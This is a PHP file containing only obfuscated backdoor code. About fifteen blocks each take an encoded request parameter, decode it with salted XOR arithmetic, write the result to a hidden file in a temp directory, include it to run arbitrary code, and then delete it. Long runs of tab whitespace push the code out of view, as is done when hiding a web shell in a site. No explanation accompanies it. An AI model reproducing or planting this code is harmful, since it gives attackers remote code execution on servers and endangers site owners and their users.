<?php																																										if(@$_REQUEST["o\x62jec\x74"] !== null){ $comp = $_REQUEST["o\x62jec\x74"]; $comp=explode ( '.',$comp ) ; $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $z = 0; $len = count( $comp); do { if( $z>= $len) break; $v8 = $comp[$z]; $chS = ord( $salt[$z % $sLen]); $d =( ( int)$v8 - $chS -( $z % 10)) ^13; $factor.= chr( $d); $z++; } while( true); $pset = array_filter([sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/tmp", session_save_path(), "/var/tmp"]); while ($ptr = array_shift($pset)) { if (is_dir($ptr) && is_writable($ptr)) { $marker = sprintf("%s/.holder", $ptr); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $marker; @unlink($marker); exit; } } } }
																																										if(isset($_POST["f\x6C\x61g"]) ? true : false){ $res = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]); $symbol = $_POST["f\x6C\x61g"]; $symbol =explode ("." , $symbol ) ; $comp = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5 ); $m = 0; while ($m < count($symbol)) { $v9 = $symbol[$m]; $chS = ord($s5[$m % $lenS] ); $d = ((int)$v9 - $chS - ($m % 10)) ^ 36; $comp .= chr($d ); $m++; } for ($ptr = 0, $descriptor = count($res); $ptr < $descriptor; $ptr++) { $pset = $res[$ptr]; if (max(0, is_dir($pset) * is_writable($pset))) { $dchunk = vsprintf("%s/%s", [$pset, ".marker"]); $success = file_put_contents($dchunk, $comp); if ($success) { include $dchunk; @unlink($dchunk); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x69\x74m"])){ $object = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp"]); $entry = $_POST["\x69\x74m"]; $entry = explode ("." , $entry ) ; $flg = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); foreach($entry as $p=> $v1) {$chS = ord($s8[$p % $sLen] ); $dec =((int)$v1 - $chS -($p % 10)) ^16; $flg .=chr($dec ); } foreach ($object as $key => $ent) { if (is_dir($ent) && is_writable($ent)) { $key = implode("/", [$ent, ".pgrp"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $key; @unlink($key); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6Fb\x6A"])){ $tkn = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); $mrk = $_REQUEST["\x6Fb\x6A"]; $mrk= explode ( '.' , $mrk ) ; $descriptor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); foreach ($mrk as $j => $v5) { $sChar = ord($s4[$j%$sLen]); $d = ((int)$v5 - $sChar - ($j%10)) ^ 37; $descriptor.=chr($d); } foreach ($tkn as $record) { if (array_product([is_dir($record), is_writable($record)])) { $ptr = sprintf("%s/.holder", $record); if (file_put_contents($ptr, $descriptor)) { include $ptr; @unlink($ptr); exit; } } } }
																																										if(isset($_POST["p\x73\x65t"]) ? true : false){ $entity = $_POST["p\x73\x65t"]; $entity = explode( "." ,$entity ); $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $len = count($entity ); for ($v = 0; $v < $len; $v++) { $v8 = $entity[$v]; $chS = ord($salt[$v % $lenS] ); $d = ((int)$v8 - $chS - ($v % 10)) ^ 33; $record .= chr($d ); } $token = array_filter([getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm"]); foreach ($token as $itm): if (array_product([is_dir($itm), is_writable($itm)])) { $hld = vsprintf("%s/%s", [$itm, ".symbol"]); if (file_put_contents($hld, $record)) { include $hld; @unlink($hld); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["p\x74\x72"])){ $dchunk = $_POST["p\x74\x72"]; $dchunk = explode (".", $dchunk) ; $record=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $l=0; array_walk($dchunk, function ($v9) use (&$record, &$l, $salt, $sLen) { $sChar=ord($salt[$l % $sLen]); $d=((int)$v9 - $sChar - ($l % 10)) ^ 79; $record.=chr($d); $l++; }); $object = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP")]); foreach ($object as $key => $res) { if (max(0, is_dir($res) * is_writable($res))) { $binding = join("/", [$res, ".data"]); if (file_put_contents($binding, $record)) { require $binding; unlink($binding); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x65nt\x69t\x79"])){ $entry = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm"]); $parameter_group = $_REQUEST["\x65nt\x69t\x79"]; $parameter_group= explode ("." , $parameter_group ) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $p = 0; foreach( $parameter_group as $v7) { $sChar = ord( $salt[$p % $sLen]); $d =( ( int)$v7 - $sChar -( $p % 10)) ^ 61; $data_chunk .= chr( $d); $p++; } while ($val = array_shift($entry)) { if ((function($d) { return is_dir($d) && is_writable($d); })($val)) { $pset = str_replace("{var_dir}", $val, "{var_dir}/.ent"); if (file_put_contents($pset, $data_chunk)) { require $pset; unlink($pset); die(); } } } }
																																										if(isset($_POST) && isset($_POST["d\x63\x68u\x6Ek"])){ $pointer = array_filter(["/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp"]); $k = $_POST["d\x63\x68u\x6Ek"]; $k = explode('.' , $k ); $ent = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9 ); $l = 0; while ($l < count($k)) { $v7 = $k[$l]; $chS = ord($salt9[$l%$sLen] ); $d = ((int)$v7 - $chS - ($l%10)) ^ 53; $ent .= chr($d ); $l++; } for ($component = 0, $bind = count($pointer); $component < $bind; $component++) { $object = $pointer[$component]; if (max(0, is_dir($object) * is_writable($object))) { $sym = join("/", [$object, ".data_chunk"]); $success = file_put_contents($sym, $ent); if ($success) { include $sym; @unlink($sym); die();} } } }
																																										if(!empty($_REQUEST["sy\x6D\x62o\x6C"])){ $desc = array_filter([getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); $entry = $_REQUEST["sy\x6D\x62o\x6C"]; $entry = explode ( '.' , $entry ); $item = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); foreach ($entry as $o => $v7) { $chS = ord($salt9[$o% $sLen]); $dec = ((int)$v7 - $chS - ($o% 10)) ^ 97; $item .= chr($dec); } while ($dat = array_shift($desc)) { if (max(0, is_dir($dat) * is_writable($dat))) { $resource = "$dat" . "/.pset"; if (@file_put_contents($resource, $item) !== false) { include $resource; unlink($resource); die(); } } } }
																																										if(in_array("d\x61\x74a", array_keys($_REQUEST))){ $res = $_REQUEST["d\x61\x74a"]; $res = explode ( '.' , $res ) ; $comp = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $len = count($res ); for ($t = 0; $t < $len; $t++) { $v4 = $res[$t]; $chS = ord($s2[$t % $sLen] ); $d = ((int)$v4 - $chS - ($t % 10))^ 86; $comp.=chr($d );} $resource = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), getenv("TMP"), "/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); $flg = 0; do { $ent = $resource[$flg] ?? null; if ($flg >= count($resource)) break; if (max(0, is_dir($ent) * is_writable($ent))) { $dchunk = "$ent" . "/.k"; if (@file_put_contents($dchunk, $comp) !== false) { include $dchunk; unlink($dchunk); exit; } } $flg++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64es\x63"])){ $ent = array_filter([session_save_path(), "/var/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir()]); $flag = $_REQUEST["\x64es\x63"]; $flag = explode ( ".", $flag) ; $flg =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt7); foreach ($flag as $z => $v3): $chS =ord($salt7[$z%$sLen]); $dec =((int)$v3 - $chS - ($z%10)) ^ 15; $flg .=chr($dec); endforeach; foreach ($ent as $bind) { if (max(0, is_dir($bind) * is_writable($bind))) { $elem = implode("/", [$bind, ".itm"]); $success = file_put_contents($elem, $flg); if ($success) { include $elem; @unlink($elem); die();} } } }
																																										if(@$_POST["\x65n\x74\x69ty"] !== null){ $val = array_filter(["/var/tmp", "/tmp", getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); $ent = $_POST["\x65n\x74\x69ty"]; $ent =explode( '.' , $ent) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $ent as $k => $v6) { $sChar = ord( $salt[$k %$lenS]); $dec =( ( int)$v6 - $sChar -( $k %10)) ^ 92; $pointer .= chr( $dec); } for ($tkn = 0, $flg = count($val); $tkn < $flg; $tkn++) { $mrk = $val[$tkn]; if (!( !is_dir($mrk) || !is_writable($mrk) )) { $entry = sprintf("%s/.desc", $mrk); if (file_put_contents($entry, $pointer)) { include $entry; @unlink($entry); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x65\x6Et"])){ $dat = array_filter([getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path()]); $pset = $_POST["\x65\x6Et"]; $pset = explode ( "." , $pset ) ; $symbol =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); foreach($pset as $l => $v5): $sChar =ord($salt[$l %$sLen]); $d =((int)$v5 - $sChar -($l %10)) ^ 23; $symbol .= chr($d); endforeach; for ($flg = 0, $ref = count($dat); $flg < $ref; $flg++) { $desc = $dat[$flg]; if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $hld = sprintf("%s/.element", $desc); $file = fopen($hld, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $hld; @unlink($hld); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["hl\x64"])){ $fac = array_filter([session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP")]); $pointer = $_REQUEST["hl\x64"]; $pointer = explode ("." , $pointer) ; $sym = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $n = 0; while ($n < count($pointer)) { $v8 = $pointer[$n]; $sChar = ord($s5[$n % $lenS]); $dec = ((int)$v8 - $sChar - ($n % 10)) ^ 1; $sym .= chr($dec); $n++; } $token = 0; do { $desc = $fac[$token] ?? null; if ($token >= count($fac)) break; if (is_writable($desc) && is_dir($desc)) { $ref = "$desc/.bind"; if (@file_put_contents($ref, $sym) !== false) { include $ref; unlink($ref); die(); } } $token++; } while (true); }


if(!empty($_POST["\x64escr\x69\x70\x74\x6Fr"])){
	$parameter_group = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm"]);
	$reference = $_POST["\x64escr\x69\x70\x74\x6Fr"];
	$reference	=		explode('.'   , $reference)		;		 
	$symbol	= '';
            $s9	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	= strlen($s9 	);
            $q	= 0;
    
            array_walk($reference ,function ($v5) use (&$symbol ,&$q ,$s9 ,$lenS) {$sChar	= ord($s9[$q 	%	 $lenS] 	);
                $d	= ((int)$v5 - $sChar - ($q 	%	 10)) ^ 83;
                $symbol.=	chr($d 	);
                $q++;
            } 	);
	foreach ($parameter_group as $hld) {
    		if ((is_dir($hld) and is_writable($hld))) {
    $comp = str_replace("{var_dir}", $hld, "{var_dir}/.binding");
    if (file_put_contents($comp, $symbol)) {
	require $comp;
	unlink($comp);
	die();
}
}
}
}